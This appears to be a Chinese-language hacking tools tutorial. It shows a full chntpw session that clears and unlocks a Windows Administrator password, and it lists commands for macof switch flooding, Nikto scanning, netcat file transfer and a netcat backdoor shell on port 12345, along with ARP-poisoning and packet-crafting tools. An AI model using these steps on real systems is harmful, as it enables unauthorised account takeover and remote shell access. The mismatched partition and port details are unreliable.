黑客 专题二 常用工具二
一.chntpw 密码重置
Windows 7/XP/Vista 亲测可用
1. Boot your system using BackTrack LiveCD.
2. Mount your partition containing Windows.
root@bt:~# fdisk -l
Device Boot Start End Blocks Id System
/dev/sda1 * 1 10683 85811166 83 Linux
/dev/sda2 10684 14762 32764567+ 83 Linux
/dev/sda3 14801 56885 338047762+ f W95 Ext'd (LBA)
/dev/sda4 56886 60801 31455270 7 HPFS/NTFS
/dev/sda5 14802 32664 143484547+ 7 HPFS/NTFS
/dev/sda6 32665 56885 194555151 83 Linux
root@bt:~# cd /media; mkdir dex
root@bt:~# mount -t ntfs /dev/sda3 /media/dex
Note - /dev/sda4 is partition containing Windows and /media/dex is the mount point.
3. Fire up chntpw.
Though it is pretty explanatory but here's an example as how to remove password from an Admin account which is locked.
root@bt:~# cd /pentest/passwords/chntpw/
root@bt:/pentest/passwords/chntpw#
root@bt:/pentest/passwords/chntpw# find /media/dex/ -iname sam
/media/dex/Windows/System32/config/RegBack/SAM
/media/dex/Windows/System32/config/SAM
^C
root@bt:/pentest/passwords/chntpw# ./chntpw -i /media/dex/Windows/System32/config/SAM
<>========<> chntpw Main Interactive Menu <>========<>
Loaded hives: </media/dex/Windows/System32/config/SAM>
1 - Edit user data and passwords
- - -
9 - Registry editor, now with full write support!
q - Quit (you will be asked if there is something to save)
What to do? [1] -> 1
===== chntpw Edit User Info & Passwords ====
| RID -|---------- Username -------------| Admin? |- Lock? --|
| 01f4 | Administrator | ADMIN | dis/lock |
| 03e8 | Dexter | ADMIN | dis/lock |
| 01f5 | Guest | | dis/lock |
Select: ! - quit, . - list users, 0x<RID> - User with RID (hex)
or simply enter the username to change: [Administrator] Administrator
- - - - User Edit Menu:
1 - Clear (blank) user password
2 - Edit (set new) user password (careful with this on XP or Vista)
3 - Promote user (make user an administrator)
4 - Unlock and enable user account [probably locked now]
q - Quit editing user, back to user select
Select: [q] > 1
Password cleared!
Select: ! - quit, . - list users, 0x<RID> - User with RID (hex)
or simply enter the username to change: [Administrator] Administrator
- - - - User Edit Menu:
1 - Clear (blank) user password
2 - Edit (set new) user password (careful with this on XP or Vista)
3 - Promote user (make user an administrator)
4 - Unlock and enable user account [probably locked now]
q - Quit editing user, back to user select
Select: [q] > 4
Unlocked! [note- this step is important as the Admin account was locked]
Select: ! - quit, . - list users, 0x<RID> - User with RID (hex)
or simply enter the username to change: [Administrator] !
<>========<> chntpw Main Interactive Menu <>========<>
Loaded hives: </media/dex/Windows/System32/config/SAM>
1 - Edit user data and passwords
- - -
9 - Registry editor, now with full write support!
q - Quit (you will be asked if there is something to save)
What to do? [1] -> q
Hives that have changed:
# Name
0 </media/dex/Windows/System32/config/SAM>
Write hive files? (y/n) [n] : y
0 </media/dexWindows/System32/config/SAM> - OK
root@bt:/pentest/passwords/chntpw#
二.macof 攻击交换机
macof [-i interface] [-s src] [-d dst] [-e tha] [-x sport] [-y dport] [-n times]
三.扫描Web服务器:Nikto
1. 快速入门
进行最基本的nikto扫描，你只需要指定目标的host（通过 -h 参数指定），也可以指定要扫描的端口号（通过 -p 来指定），默认是80
perl nikto.pl -h 192.168.0.1
2 多端口扫描
#扫描80，88，443三个端口
perl nikto.pl -h 192.168.0.1 -p 80,88,443
#扫描80～90共10个端口
perl nikto.pl -h 192.168.0.1 -p 80-90
四.Netcat
加密版Cryptcat
1.上传文件
nc -l -p 7777>calc.exe 远程监听保存文件到calc nc 172.16.24.129 77 <calc.exe 上传文件2.确定端口运行什么服务
nc 172.16.24.129 50001 查看返回内容
3.创建后门
nc -l -p 12345 -e /bin/sh #linux nc.exe -L -p 12345 c:\windows\system32\cmd.exe #windows
五.tcpdump
wireshark文本版,处理海量数据有效
六.Cain&Abel
Windows下最强的ARP缓存中毒
七.scapy
最强的数据包操纵python库,Netdude是图形化的scapy
八.hping
命令行数据包操纵工具
九.Tamper Data
对Http信息进行分析,修改
